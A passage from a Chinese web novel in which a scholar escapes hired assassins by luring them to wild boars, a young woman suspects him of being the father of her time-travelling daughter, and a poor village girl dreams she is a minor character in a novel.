地上的枯叶被踩碎,两只巨大的野猪从老李山深处出来了! 听着瘆人的“嗷嗷”声,两个假商人目眦欲裂,“是野猪!” 老李山上的野猪,可比长安那些权贵在山上打猎遇到的野猪还要凶猛,就连山下村的村民都说不出这些野猪活了有多少年。 夜黑,山高,两只野猪。 这两个假商人前半夜谋划着要刺杀徐行之,后半夜被徐行之像遛狗一样在老李山上遛了这么久,即便这两个假商人拿着刀还有武艺,看着从山林深处而来、越来越近的两只野猪,这两个人竟然尿裤子了! 早知道就不为了两千两银子从长安跑到这荒山老林里了,刺杀的任务没完成,反倒他们自己要被野猪啃食了! 两个假商人瑟瑟发抖,拿着刀一顿乱挥。 两只野猪的“嗷嗷”叫声更尖锐凶狠了,本来这两只野猪离这两个假商人还有两人远的距离,被激怒后,飞速朝这两个假商人扑来。 野猪的獠牙刺入这两个假商人的小腿,剧烈的疼痛让其中一人身上的血液仿佛停止了流动,这人咬着牙,狠狠推了同伴的背,留给两只野猪当食物,然后趁机逃跑。 约莫过了两刻钟,老李山上重新恢复安静,坡下杂草丛里,青色的长袍被殷红的血浸湿,徐行之用尽力气沿坡而上。 让这两个假商人失望了,他还活着! 甫一上来,徐行之就看到了两只野猪和地上的一具尸体。 徐行之知道老李山这一处有野猪,方才他故意慢下来挨了一刀,随后滚落山下,就是想要营造身死的假象,以及引野猪出来。 在这荒山老林中,那两个假商人根本就看不清徐行之的情况,挥出的那一刀,会让他们误以为徐行之已经死了,而被血腥味和动静引出来的野猪,则是徐行之手中的“刀”。 徐行之常来老李山上,遇到过野猪和其他动物,老李山深处的野兽,似是有灵智,不会主动伤人,像这两只野猪发出的“嗷嗷”叫声,其实是为了赶村民下山,山下村其他村民也是知道这一点的,只要不作死,就不会被野猪啃食。 但这两个假商人并非山下村之人,被吓得屁滚尿流不说,竟然还挥刀要攻击野猪。 两只野猪被激怒,怒火自然要往这两个假商人身上发泄。 野猪被激怒后,是放过这两个假商人还是要吃了他们,这一点徐行之无法判断,但对徐行之是有利的。 野猪把两个假商人吃了,村民们自然会把消息传出去,即便远在长安的王云过几个月后没有等到这两个假商人的归来,又重新派了人来刺杀,也不关徐行之的事,是野猪吃了人与他何干? 那个时候他早就离开山下村了! 若是野猪放过这两个假商人,逃命要紧,这两个假商人绝对不会再上山查看徐行之是否死亡,被砍了一刀还遇上了野猪,没有人会觉得徐行之还能活着!回到长安,为了银钱,这两个假商人带给王云的消息一定是徐行之已经死了! 得到他死了的消息,王云也不会再派人来刺杀他。 徐行之撕下一片长袍简单包扎了身上的伤,望着地上已经发凉的尸体,两个假商人死了一个、逃了一个,对徐行之来说更是好事! 逃走的那个假商人,定然不会再来山下村了,回到长安后,他也不会暴露自己拉同伴当垫背的罪行,一定会把责任全推到野猪身上,那么王云得到的消息就会是徐行之已经死了,并且还有一假商人的死当做证据,徐行之彻彻底底从这件事中脱身。而死了的这个假商人,也不能再开口说话了! 徐行之蹲下身,地上躺着的这个假商人,其实只有小腿处被野猪咬伤了,并非致命伤,也就是说,并不是这两只野猪杀了他,他可能是被吓死的。 徐行之眉峰微扬,果然人还是不能做亏心事啊! 比如徐行之流了那么多血,此时此刻老李山上的野猪却也没有攻击他,只是嗷嗷叫着,想把徐行之赶下山,若是这个假商人不想着要刺杀徐行之,又怎么会被引到老李山上遇到野猪,怎么会被吓死? 说起来杀人,徐东来、王霞和徐众望的死都和徐行之脱不了干系,他全然忘了自己也做过不少做的“亏心事”。 不过,徐行之不觉得除掉徐家这一家三口是“亏心事”,徐家人在山下村十八年来的富贵日子,是靠他得到的。 享用了整整十八年的不义之财,徐东来、王霞和徐众望用性命偿还是应该的。 察觉野猪撵人的意思,徐行之忍着剧痛,从假商人的身上摸出一包银子、一幅画和一封信。 画中的人是徐行之,应该是徐众望画了徐行之的画像送到长安,王云又把这幅画像交给这两个假商人,让他们凭借画像来山下村杀掉徐行之。 至于那封信,出自王云之手,大意是山下村的徐行之得罪了陆侯夫人,两千两银子买徐行之一条命,要悄悄除掉徐行之。 “两千两银子?”徐行之低声道。 他还挺值钱! 只是他这十八年来都在山下村待着,哪里能得罪陆侯夫人? “嗷嗷!” 两只野猪又开始叫了,徐行之不再停留,把画像和信塞到自己怀里,把假商人这具已经发凉的尸体拖到一边,从山上扔了下去。 至于尸体何时会被村民发现、会不会被野兽啃食,那就和徐行之无关了! 他本就不是心慈之人! 诱敌、抛尸,徐行之脚步踉跄,欲从山上下来,只是他失血太多,快到山神庙附近时,后背的冷汗越来越多,明明快要日出,他眼前却是越来越黑,随即晕了过去! 门外响起李婶子的大嗓门,打断了徐行之的思绪,“行之,你睡没有?” 徐行之看向门口,“没有,婶子,怎么了?” 李婶子道:“枝枝带着葵葵来看你了!” 门被推开,梳着兔耳髻的少女出现在门口,徐行之的目光落到叶醒枝的玉面上。 晕倒的那一刻,他本以为自己会被清晨上山砍柴的村民所救,或是过几日才被上山拜山神的人发现,当然也有最坏的可能,就那么死了。 不曾想,救他的人是叶醒枝。 一个小人儿跑到徐行之床边,“爹……哥哥,你醒啦!” 徐行之的注意力来到陆葵葵身上,小人儿玉雪可爱,徐行之想起了自己被叶醒枝救下后,陆葵葵那胖乎乎的小手攥着他指尖时的热意,也想起了陆葵葵那清脆的一声“ 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陆葵葵鼓起小嘴巴,对着徐行之被包扎的左胳膊轻轻吹气,随后又抬起小脑袋瓜,“葵葵呼呼,爹…哥哥就不疼了!” 徐行之弯了弯桃花眸,“葵葵真厉害,哥哥已经不疼了!” 望着这“父女情深”的一幕,叶醒枝好想翻白眼! 豁,陆葵葵穿回来的那一天,她在老李山上遇到陆葵葵,陆葵葵小脸儿有好几道红印子,是她给陆葵葵呼呼,才两个月不到,她三岁半的女儿就给另一个男人呼呼了! 天啊,保佑她的女儿陆葵葵只是认错了爹爹吧! 叶醒枝实在无法想像自己以后会和徐行之成亲生子! 徐行之皮囊看着挺养眼,但这是个歹竹啊! 等“父女”叙过旧后,叶醒枝打断了他们两个人,“听李婶子说,你是在山上遇到了野猪,老李山上没的野猪不是一般不下山吗?” 徐行之的长睫眨了下,看向叶醒枝,“我也不知。多谢叶小姐和阿竹兄弟救行之一命,叶小姐之恩,行之永记在心!” “客气了。”叶醒枝道。 顿了顿,叶醒枝又出声,“你是徐东来的亲侄儿?你父母也姓徐吗?” 徐行之一愣,“是。叶小姐何出此言?” “没事。”叶醒枝赶忙摇头。 那徐行之就不可能是陆葵葵的爹爹了! 一个姓徐,一个姓陆,八竿子打不着啊! 留陆葵葵在徐家待了一会儿,叶醒枝领着她回去老宅,“葵葵,徐行之真的是你爹爹吗?” 陆葵葵圆圆的小脸蛋很是认真,“娘亲,是爹爹!” 叶醒枝:“万一他只是和你爹爹长得很像呢?他不姓陆啊,不是你的爹爹陆时安!” 陆葵葵摇摇脑袋,“娘亲,哥哥是爹爹!” 叶醒枝明白她的意思,“你万一认错了爹爹呢?” “葵葵不会认错爹爹的,就像葵葵不会认错娘亲一样!”陆葵葵大声道:“哥哥是爹爹,娘亲,可以让爹爹和我们一起住吗?” 一起住,那是绝不可能的! 叶醒枝只好道:“你爹爹受了伤,让他过来住会流很多血的,他得留在徐家养病!” 陆葵葵失望地撅起小嘴,“好叭!” 等陆葵葵睡着后,叶醒枝还在想这件事,陆葵葵那句话其实没说错,三岁半的陆葵葵穿回来的那天,在老李山上看到她的第一眼,就认出来她这个娘亲了,那么,对于陆葵葵的爹爹,想来陆葵葵也是不会认错的。 还有,她在老李山上遇到了陆葵葵,又在老李山上捡到了徐行之,陆葵葵和徐行之的第一次见面,也是在老李山上。 这也太有缘分了叭! 可是,徐行之不姓陆,也不叫陆时安,这又该如何解释呢? * 徐行之向李婶子打听,得知这几天没有假商人再来到山下村。 也是,差一点死于野猪之口,还害死了自己的同伴,换成徐行之,也不会再出现在山下村。 那两个假商人只是王云花重金请来的杀手,犯不着为此丧命。 徐东来和王霞,确实是从老李山上摔下来而死,只不过,当时还有徐行之在场。 徐众望被处斩后,徐行之要除掉的人自然是徐东来和王霞。 让这三个人再也开不了口,他才能脱身,离开山下村去到长安。 前段时间山下村接二连三有村民死亡,犯了外重丧这一流言在村里传播,其实徐行之本是要动手的,可以把这三人的死推到“重丧煞”上,只可惜被叶醒枝横插一脚! 不过,现在看来也是好事,徐众望杀人的罪行就此揭露,除掉徐东来和王霞的时机也就更合适。 徐东来和王霞死的那天清晨,他哄骗这两个人上山,徐东来和王霞以为徐行之要带着他们去山上去徐众望的坟前,可是上了山,停下歇息的时候,他们的好侄儿,竟然提起了自己的身世。 徐东来和王霞来不及反应,就被徐行之推了一下,跌落山底。 不过是几个呼吸,他们两个眼睁睁看着自己离徐行之越来越远,摔成肉泥! 天还未亮,徐行之没有多余的情绪,离开了老李山。 这一家三口不曾对他心软,若不是他再有提防,在那条天花病人盖过的被子出现在徐行之房里的时候,就是徐行之的死期! 如今,负责看管他的徐家这一家三口去了地下团聚,侥幸逃回长安的假商人也把徐行之已死的消息带给了王云,只要养好伤,徐行之就可以去洛州参加秋闱了! 李婶子本就怜惜徐行之,这几日更是包揽了给徐行之做饭和煮药的活计,不过也不麻烦,李婶子本就要给叶醒枝和陆葵葵煮饭,只用把给叶醒枝和陆葵葵做的菜肴盛出一盘,给徐行之送来就行了。 这天,陆葵葵又缠着要来找爹爹,叶醒枝只好带她来到徐家。 少女身上的清香飘在厢房中,徐行之突然反应过来,他发现徐众望把尸体埋在李老根家山田的那天,偷听他们二人对话的女子,应当就是叶醒枝。 是同样的郁金香。 面上不显,徐行之再一次向叶醒枝和李婶子道谢,若非叶醒枝大方的让李婶子送来膳食和药汤,徐行之是不能这么自在养伤的。 “行之,都是山下村的,你这孩子就是太客气了,今早上的榆钱窝窝头好吃不?这次可没让你李叔再上树!”李婶子问道。 徐行之笑了笑,“好吃。” “等我伤好了,下次我去摘榆钱。” 叶醒枝也在厢房,不过十句里有七八句都是李婶子和陆葵葵在说话,叶醒枝的思绪飘到了自己要写的话本子上。 话本子的前几章很重要,这几日她一直在修改。 闲谈间,听到李婶子的声音,叶醒枝下意识回了声“是”。 李婶子笑起来,“我没说错吧,枝枝你也这么觉得啊!” 叶醒枝反应过来,“李婶,你刚才说什么?” 李婶子:“我说我突然觉得葵葵和行之有点像,刚刚他们两个一起看着我,你说是不是?” 20. 试探;买断话本子 叶醒枝瞪大杏眸,“没有吧!” 笑话,她怎么可能承认! 顺着李婶子的目光看过去,一大一小映入叶醒枝的眼帘,陆葵葵咧着小嘴对着她笑,然后叶醒枝又对上了徐行之的桃花目。 别说,许是听了李婶子的话,先入为主,叶醒枝也觉得陆葵葵和徐行之有点像。 不过她是不会说出来的! 李婶子:“我感觉挺像的,葵葵的小嘴和行之的很像,给人的感觉就是很像。” 叶醒枝尴尬笑了笑,“葵葵要像也是像她爹爹啊!” “这倒是。”李婶子悟了,“好看的人都长得像,葵葵也和你很像,又像行之,你们三个都好看。” 知道自己被人夸了,陆葵葵的大眼睛弯成了月牙儿,“婶婶也好看!” 李婶子心里高兴,嘴上仍道:“我这脸都成枯树皮了,可不好看。” 墨眸看向叶醒枝,不过一眼,徐行之长睫又垂下,叶醒枝方才的语气听起来好像很嫌弃他?不喜欢陆葵葵和他长得相像吗? 回到老宅,叶醒枝叹口气,“葵葵,你有伯伯或者叔叔吗?” 陆葵葵摇摇头,“没有。” 叶醒枝又确认了一遍,“你爹爹有哥哥或者弟弟吗?” 陆葵葵:“没有,娘亲,爹爹说外祖母只有他一个儿子,爹爹还说娘亲答应的话,他也可以只有葵葵一个女儿!” 陆葵葵最后一句话出乎叶醒枝的意料,想不到陆时安还是挺开明的! 好吧,优点加一。 如果陆葵葵说的是真的,也不是随随便便就能找出一个和陆葵葵长得像的男子的,十之八九徐行之就是陆葵葵的爹爹。 当然也有一种可能,徐行之和陆葵葵有六亲内的关系。 但徐行之生在山下村,这一种可能可以排除了! 陆葵葵心心念念的爹爹、自己的未来夫君疑似出现了,叶醒枝不太想面对徐行之,是以,她待在老宅里写话本子,陆葵葵再想去徐家玩儿,叶醒枝让阿杏或者李婶子带过去。 又过几日,叶醒枝终于把话本子完成了三分之一,把陆葵葵留在家里由李婶子照顾,叶醒枝去了河清县。 她是第一次写话本子,打算先从河清县的书肆开始,若是看不上,再往镇上的书肆送。 大陈朝文风开明,往书肆投话本子的人也不少,叶醒枝提前打听情况,定好了一家。 她是向徐行之打听的,整个山下村只有徐行之最了解河清县的情况了,是以,来河清县的前几天,她去了徐家一趟。 徐行之寒玉似的脸上浮出一抹惊讶,“叶小姐可是要投话本子?” 叶醒枝脸一点儿都不红,“不是,我就是好奇。长安也有很多书肆卖话本子,我打听一下嘛,若是有好看的,顺便买几本回去的路上解闷看。” 徐行之淡声道:“河清县名气大的书肆有好几家,话本子生意好的有两家,一家是河清书肆,一家是杨家书肆,前者名气更大铺面也更大,投话本子的人也更多,不过定价要低一些,而杨家书肆过稿条件更严苛,我有一同窗家境贫寒,就在此书肆写话本子,投了两三次才过,据他说前几年写的话本子都是一口价买断,一本约莫三四两银子,后来有了名气,他与杨家书肆重新签了契约,按千字拿钱,不过此后他所写的话本子只能卖给杨家书肆,每年也得至少完成一本。” “这样啊,多谢。”叶醒枝道。 果然,各个书肆的掌柜都是一样心黑。 想了想,叶醒枝先来了河清县的杨家书肆。 有专门的伙计负责话本子的审核等活计,伙计看了三章内容,就把书肆的杨掌柜喊出来了。 杨掌柜从楼上下来,看到叶醒枝时眼前一亮,这般标致的小娘子可不多见,身上的襦裙、披帛、颈子上的玉链,样式和色彩都十分新鲜,瞧着不像是河清县的人。 杨掌柜接过话本子,看了一章后,他的眼前又是一亮。 俗话说字如其人,这位小娘子明显是个大家闺秀,所著的话本子,与娟秀的字迹相反的是,从第一章就极其吸引眼球。 开篇是某个村子里叫石头的小孩儿溺水了,眼看进气越来越少,石头的爷爷指着石头的娘亲大骂一通,埋怨石头娘没有看好自己的儿子、他的心肝孙子,要让儿子休妻。 石头娘嫁人六年只生了一个儿子,石头要是死了,即便石头爹不愿休妻,石头娘也会被公婆赶出家门。 石头娘的娘家离得远,最快也要明天才能来村里为自己女儿撑腰,同村很多妇人都很是同情石头娘,但她们也没法子,有个不讲理的公婆在,如果石头死了,夫家是容不下石头娘的,即便并不是石头娘的错。 石头爷爷要儿子休妻的声音半个村子的人都能听见,有些村民劝和,有些让先准备着后事,这时,村里出现一个陌生的女童。 女童乌黑的头发上没有戴珠花,而是插着一株翠绿的草儿,“石头娘,你别哭了,快把石头送到山神庙,他还有救。” 一听“山神庙”三个字,石头爷爷更加生气,“哪里来的小孩,你懂什么!山上的山神庙都塌了多少年了?把石头送去是嫌我这孙子咽气不够快吗?” 女童笑嘻嘻倒是不生气,说是山神庙来了一位贵公子,花重金修缮了山神庙,只有他能救石头。 石头爷爷并不相信,不许石头娘跟着女童去山神庙,万一一挪动,石头彻底不会进气可怎么办! 同村的村民也半信半疑,村子的山上是有一座山神庙,但二十年前因着走蛟庙宇塌陷,村民们也吃不饱肚子,没有银子重建山神庙,整整二十年无人去上香祭拜,平常也没有村民会去山神庙那一片,怎么可能会有贵公子修缮山神庙?即便有,那位贵公子又不是神灵,真能让石头起死回生吗? 日暮西斜,石头还是没有醒过来。看热闹的村民散去,骂了一整天的石头爷爷也累了,石头奶奶抹着泪要给孙子办后事,石头爹一时靠过来,一时又离石头娘远远的。 石头娘快要哭出血泪了,她知道夫家的人包括自己的夫君都对她有了怨恨,石头娘恨不得把自己剩下的寿数全添给自己的儿子。 石头爹再一次靠过来,要从石头娘怀里接过儿子,准备往棺材里放,石头娘突然推了他一下,使劲全身力气,抱着溺水不醒的石头往山上跑。 石头爹追喊着让石头娘回来,石头娘不听,咬着牙让自己不许停下,细瘦的身子有力气把石头从肚子里生出来,她就一定能把自己的儿子送到山神庙。 看到的村民觉得石头娘疯了,抱着石头跑到了山神庙,石头娘腿一软,差点摔地上。 其实石头娘也觉得自己要疯了,可是,此时出现在她眼前的不是往日那座荒废的破庙,而是一座清幽庄严的山神庙。 荒废二十年的山神庙真的被重新修建了,庙里也确实有一个谪仙般的贵公子,只是不知这位贵公子能不能让石头起死回生,不然石头娘一个村妇就没活路了! 杨掌柜立即翻到下一章,往常投到书肆里的话本子,十本有八本他都是强迫自己往下看第二章的,但这位叶小姐写的话本子,明明主角山神还没有露面,只看了一章他就已经被石头的故事牵着走了! 等杨掌柜把剩下的几章内容看完,心想一定要把这本志怪话本子拿下来,接下来就是谈价钱了,“只是不知叶小姐是要买断,还是按千字定价?” 像叶醒枝这样头一次和书肆合作的,往常杨掌柜压根不会问出第二句话,都是一口价买断,包括那些在县学读书的学子,但他手中的这本话本子,必爆! 能够识字写话本子的,一定是有几分才华的,是以,并不是叶醒枝写的这本话本子辞藻优美,而是剧情虽简单但从第一章就十 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先是去了脂粉铺子,接着叶醒枝又去了卖首饰的铺子,美滋滋逛来逛去,叶醒枝找回了在长安时的感觉。 唉,一个多月前,她还只是个十六岁的少女,现在却要天天带一个三岁半的小葵花,叶醒枝好久没有如此悠闲了! 从河清县回到老宅,叶醒枝也给陆葵葵稍了零嘴,陆葵葵小口小口咬着糕点,“娘亲,让爹爹也吃透花糍好不好?” 叶醒枝今天心情不错,“你爹爹爱吃什么菜和点心?” 陆葵葵:“葵葵和娘亲喂给爹爹的,爹爹都爱吃。” 叶醒枝脸一红,轻轻掐了下陆葵葵的圆脸蛋,“你个小葵花成精了吧!” “爹爹说哒!”陆葵葵声音软软的。 徐行之脸更红了些,“那你爹爹爱吃什么菜?” 陆葵葵都知道呦,“爹爹爱吃鱼丸面和葱醋鸡。” 葱醋鸡? 叶醒枝也喜欢呢。 第二天,叶醒枝让李婶子做了一锅葱醋鸡,给徐行之送了过来,为了印证陆葵葵的话,赶在饭点叶醒枝带着陆葵葵来了徐家。 徐行之有些意外,这几日陆葵葵常往他这里来,今个叶醒枝竟然也赶在饭点过来了。 徐行之慢慢从榻上下来,“徐小姐可用膳了?” 叶醒枝笑着道:“用过了,你吃就是。” 叶醒枝说是来徐家消食的,却一直盯着食案上的那道葱醋鸡,“你怎么不吃?” 叶醒枝道:“我需忌口。” 叶醒枝突然反应过来,对,徐行之受了刀伤不能吃,“那你平时爱吃葱醋鸡吗?” 徐行之:“还行吧。” 还行的意思,就是不行啊!叶醒枝眉头微微蹙起,徐行之不喜吃葱醋鸡啊,陆葵葵的消息有误。 坐在椅子上,陆葵葵小手拿着长长的竹箸,给徐行之夹了一块鸡肉,“爹……哥哥,这是姐姐特意让李婶婶给你做的哦!” 徐行之:??? 不是,他正有伤呢,叶醒枝让他吃葱醋鸡是什么意思? “不是,我……我是自己想吃,别误会。” 叶醒枝尴尬地瞪大眸子,她可没什么坏心思啊! 在陆葵葵的心里,徐行之就是她的爹爹,自己是她的娘亲,这样尴尬的事情以后少不了,叶醒枝有心试探。 叶醒枝越看越觉得徐行之和陆葵葵是父女,主要是两人的神态太相像了,轻咳一声,“你看过话本子吗?” 徐行之放下竹箸,“偶尔看过。” 看过就好办了,叶醒枝佯装不经意问道:“那你看过前世今生、回溯时空的话本子吗?” 徐行之不明白叶醒枝的意图,“比如?” 叶醒枝在心里想,比如你那三岁半的女儿陆葵葵从七年后穿过来了,你能接受吗? 21. 第一个炮灰觉醒 徐行之的回答自然是不曾看过。 “你相信有人能从几年后回到现在吗?”担心露馅,叶醒枝又补充了一句,“我曾经看过一个话本子,女主女妖为了救心上人,回溯时光回到了灾祸发生前。” 徐行之薄唇轻启:“子不语怪力乱神。” 叶醒枝在心里叹口气,看来徐行之不信穿越这回事啊! 行叭,今天就试探到这里。 自打见到了徐行之,陆葵葵眼睛一睁就想往徐家来,小葵花需要爹爹,叶醒枝自然是想尽快确定徐行之的身份,不过,徐行之这个歹竹能不能当陆葵葵的爹爹,还是得再观察一段时间才行。 送走叶醒枝和依依不舍的陆葵葵,徐行之若有所思,叶醒枝方才的那几番话有些奇怪,面对李平安的尸体和李婶婶自缢,叶醒枝没有胆裂魂飞,足可见这位叶小姐不是迷信之人,那为何今日会提起这个话题? 怪力乱神之说,徐行之自然是不信的,若是有鬼神,徐东来、王霞、徐众望还有远在长安的王云和陆侯夫人为何整整十八年都没有遭到报应?他要是相信了,又怎么会有胆量除掉徐家那一家三口? 不过,如果有人能死而复生或者回溯时光给徐行之带来一些好处,信一信也是无妨的。 * 在厅堂吃着点心的陆葵葵突然静悄悄的,叶醒枝从房里出来,刚好看到小葵花像松鼠一样偷偷往自己的葵花小包里装绿豆糕。 果然在“作妖”,叶醒枝走了过来,“陆葵葵,你干什么呢?” 白藕般的小身子抖了一下,陆葵葵赶忙捂着自己的葵花小包,“娘亲,葵葵什么都没干!” 绿豆糕的碎屑还挂在陆葵葵的圆脸蛋上,叶醒枝无奈拿帕子给她擦干净,陆葵葵很是爱吃绿豆糕和透花糍,叶醒枝每隔三日让她可以吃三个,一共装了六个绿豆糕的白磁盘,此刻空无一物。 叶醒枝故意问道:“那剩下的三个绿豆糕去哪里了?是有小老鼠偷吃了吗?” 陆葵葵立即鼓起了嘴巴,“葵葵不是老鼠!” 叶醒枝小的时候也没有很爱吃绿豆糕啊,陆葵葵一定是随了她爹爹,“呀,原来是被葵葵拿走了啊,这三个绿豆糕,你要放到明日再吃哦。” “好叭!”陆葵葵垂着小脑袋去了老宅后面的草丛里看蚂蚁。 小短腿走在土路上,陆葵葵偷偷打开了葵花小包,绿豆的香味飘到鼻子里,好想吃啊! 可是,她要当一个听话的小葵花,把葵花小包里的绿豆糕吃了,明天就没有了! 到了老宅后墙处,还未找到蚂蚁,陆葵葵在草丛里看到了一个衣服灰扑扑的大姐姐,哒哒跑过去,“大姐姐,你是来找娘亲的吗?” 见被一个小团子发现了,李宝生局促地攥着洗的发白的衣裳,“你娘亲是?” “葵葵的娘亲是叶醒枝!”虽然叶醒枝时有提醒,但陆葵葵有时还是会喊出“娘亲”这两个字。 听到“叶醒枝”这个名字,李宝生脸上的局促不见,死死盯着陆葵葵,所以面前这个脸蛋圆圆的女童就是陆葵葵? 李宝生没有见过陆葵葵,也只在山下村见过叶醒枝一两次,但她对这对恶毒母女很是熟悉,因为她梦到了一本话本子。 早上喝了半碗玉米糁,李宝生就出来爬树摘榆钱了,只有最高枝上还有榆钱,好不容易爬了上去,换摘另一枝榆钱的时候,脚一滑李宝生从榆钱树上摔了下来。 李宝生晕了过去,不知晕了多久,她梦到自己是《在县衙给恶毒小继女当后娘,我一胎六宝》这本话本子里的一个炮灰配角。 她叫李宝生,这本话本子的女主角名字和她很像,叫李福宝,还和她一样都是山下村的人,但李宝生可没有李福宝那么好运,李福宝上老李山上挖野菜都能找到野鸡,在老李山上摘了野花做糕点去镇上卖,都有大户人家要买她的方子,李福宝最后还嫁给了男主陆县令陆时安,给小反派陆葵葵当继母,还一胎六宝,就此在县衙后院立了脚。 李福宝是男主陆县令的继室,陆县令有一个恶毒前妻叫叶醒枝,还生了一个恶毒的女儿,叫陆葵葵。 李福宝的一辈子如她的名字一样,被陆县令当成宝珠一样疼爱,李宝生只是话本子里的一个小人物,她并不羡慕李福宝,但梦到了这个话本子后,她狠狠恨着叶醒枝和陆葵葵。 一次李宝生上老李山上捡柴,不小心把手中的柴禾碰到了来山上透气的叶醒枝,见搭在肩上的披帛沾上了枯叶和灰土,叶醒枝仗着自己是官家小姐,嫌恶的让小厮阿竹把她推开。 李宝生整日连饭都吃不饱,被阿竹这么一推,她好不容易捡的柴禾散了一地,人也从山上滚了下来。 “你好脏哦,离我娘亲远点!” 叶醒枝那三岁半的女儿陆葵葵也狗眼看人低,站在山上像看一条脏狗一样,不许李宝生再近她们母女的身。 李宝生的脚踝肿的比大馒头还要圆,说起来她好久没吃过馒头了,因为没有带回来柴禾,回到家,李宝生的爷爷李老头没有给她留那半碗玉米糁,更不会浪费银子买药酒给她擦脚踝。 李宝生的娘生了三个女儿,第四胎怀着她的时候,李宝生的爷爷李老头给她取了这个名字,盼着能生出一个宝贝孙子,可她不是李老头想要的“宝”,在家里,李宝生和上头的三个姐姐只能喝半碗玉米糁,等姐姐们嫁人后,喝玉米糁的只剩下李宝生了。 因为叶醒枝,这一天中午李宝生连半碗玉米糁都喝不上了,窝在草丛里,李宝生不停抹着泪,不知道是肚子更饿还是脚更疼。 女主李福宝路过,发现了窝在草里流泪的李宝生,得知李宝生是被叶醒枝和陆葵葵欺负的,李福宝回到家,好心给李宝生拿了两个榆钱窝窝头和一瓶药酒。 陪着叶醒枝回乡祭拜亲人的陆县令陆时安意外看到了这一幕,一个无知小村姑都比叶醒枝这样的官家小姐心善,自从陆县令对叶醒枝和陆葵葵产生了不喜,而善良的李福宝令陆县令的心中泛起些许涟漪。 话本子里其余的情节李宝生并没有梦到,因为她只是一个小人物,用来凸显李福宝似宝珠般的善良和叶醒枝、陆葵葵的恶毒,李宝生只梦到了和自己有关的剧情。 但肿成了大馒头的脚踝和肚子饿得不行产生的痛意似乎不是假的,这些疼痛让李宝生睁开了眼睛,从昏迷中醒来,然后她一瘸一拐来到了李家老宅。 山下村确实有一个叫李福宝的人,但这个妇人都快能当陆县令的娘了,这个李福宝一定不是《在县衙给恶毒小继女当后娘,我一胎六宝》里的李福宝,可除了这个妇人,山下村没有其他的李福宝了! 唯二重要的女主角压根不存在,男主角陆县令陆时安也没有来到山下村,村里现在只有一个有功名的读书人,是徐大秀才徐秀才。 李宝生不知道为何会对不上,但恶毒的叶醒枝是存在的,虽然时间不对,这位叶小姐前段时间确实回乡来祭拜亲人了。 还有叶醒枝那恶毒的三岁半女儿也是存在的,死死盯着陆葵葵,李宝生眼里满是厌恶。 她不被爷爷喜欢,每天只能喝半碗玉米糁,她摘回来的榆钱做的窝窝头永远进不了她的肚子里,李宝生只当是命不好,可叶醒枝和陆葵葵对她的欺负与鄙夷,对于李宝生来说不只是羞辱与嫌弃,而是把她仅有的那半碗玉米糁都夺走了! 对于李宝生来说,那半碗玉米糁比老天爷都重要,她只有玉米糁啊! 被李宝生死死盯着,陆葵葵害怕地攥着挎着的葵花小包,不知道这位大姐姐为什么要这么看着她,“大姐姐,你是要找娘亲吗?” “不对不对,不是娘亲,是姐姐。”陆葵葵又想起了叶醒枝的叮嘱,急忙改口,重新问了一遍,“大姐姐,你是要找姐姐吗?” 姐姐? 李宝生回过神,懵了懵,“叶醒枝是你姐姐?” 陆葵葵点点脑袋瓜,“是的哟!” 怎么从恶毒母女变成姐妹了? 李宝生没想明白,想起了话本子里三岁半的陆葵葵对自己的那句羞辱,有样学样,“你好……不是,你离我远点!” “你好脏”三个字就算了吧,陆葵葵脸蛋圆圆白白,像朵沐浴在春光里的小葵花,确实比她干净。 陆葵葵的小嘴巴张成了葵花似的圆,然后听话地后腿两步,“姐姐,葵葵昨天有洗澡呦,葵葵不臭哒!” 李宝生脸色却是更难堪了,不愧是叶醒枝的妹妹,陆葵葵才三岁半就会讽刺人了! 李宝生一个月没洗澡了! 她又没有多余的春衣,洗澡也会被爷爷李老头骂浪费柴禾。 陆葵葵不臭,但她身上臭啊! 不知道是不是真的有这么一本话本子,但李宝生决定要报仇,“你姐姐呢?” “姐姐在屋里看书,大姐姐,葵葵带你去找姐姐!”陆葵葵杏眼弯了弯。 虽然她刚才有些害怕面前的这位大姐姐,但她又没有惹大姐姐生气,山下村的婶婶、姐姐们都很喜欢她,大姐姐应该也是这样的。 看书?还真是富贵日子呀,李宝生心想。 看到陆葵葵如同葵花般灿烂的笑脸儿,李宝生又在心里想,话本子里的陆葵葵为什么那么嫌弃她呢? 其实李宝生的脑子有些乱,只好又说出了那句恶毒的话,“我不去找你姐姐,你离我远点!” 狠话还没放完,李宝生的肚子响了起来! 李宝生赶忙捂着肚子,太可惜了,或许她注定就是当炮灰的命,才会在小反派陆葵葵面前这么丢脸! 仰着脑袋瓜,陆葵葵问道:“大姐姐你饿了吗?” 她的肚肚也会响呢! 李宝生准备再放一句狠话,掩饰脸上的局促,只是她还没吐出第一个字,只见陆葵葵从葵花小包里掏了掏,掏出一块绿豆糕,“大姐姐吃,吃了肚肚就不响啦!” 小小的手心里,是块小小的绿豆糕! 李宝生愣在那里,一个字的狠话都说不出来了! “大姐姐快吃呀!”陆葵葵把绿豆糕塞进了李宝生脏乎乎又破了皮的手里,然后跑草丛里找蚂蚁去了! 握着那块绿豆糕,右手拎着竹篮,李宝生回了家。 虽然不是去山上捡柴禾而是爬树摘榆钱,但因着李宝生从树上摔下来又昏了过去,没有摘多少榆钱,和做的那个梦一样,爷爷李老头骂了李宝生一通,并不许她喝玉米糁。 李宝生的那半碗玉米糁,进了她爹爹的嘴里。 李宝生窝在草丛里,依然和梦里一样,爷爷李老头舍不得把家里的药酒抹到她的脚踝上。 她要是死了,家里还能多出来半碗玉米糁。 又疼又饿,李宝生用胳膊紧紧勒着肚子,握紧左手的那一刻,碰到了那块一直被她攥在手心的绿豆糕。 是了,她还有一块绿豆糕。 虽然是陆葵葵给的,李宝生双手捧着小口吃了起来。 可真香甜啊! 李宝生就这么一小口一小口咬着! 夜里给陆葵葵脱衣裳时,叶醒枝发现葵花小包里的绿豆糕少了一块,“葵葵,怎么只剩两个了?” 陆葵葵:“看蚂蚁的时候遇到了一个大姐姐,葵葵把绿豆糕给姐姐啦!” 李家老宅里只有叶醒枝、陆葵葵这对母女和阿杏、阿竹两个下人,和村里的人不熟,一般不会有人来老宅这边的,“什么大姐姐?” 陆葵葵打了个小哈欠,“葵葵不认识哟,大姐姐的篮子里也有榆钱。葵葵以为大姐姐是来找娘亲的,但大姐姐说不是。” 陆葵葵突然又问道:“娘亲,葵葵身上臭臭吗?” “怎么会臭,我们葵葵身上最香了!”叶醒枝拉长调子道。 那就好,那位大姐姐让她离远点,不是嫌弃她身上臭臭啊,陆葵葵想。 过几日就是端午了,叶醒枝盘算着让阿竹去河边摘几根艾草,再给陆葵葵编一条长命缕。 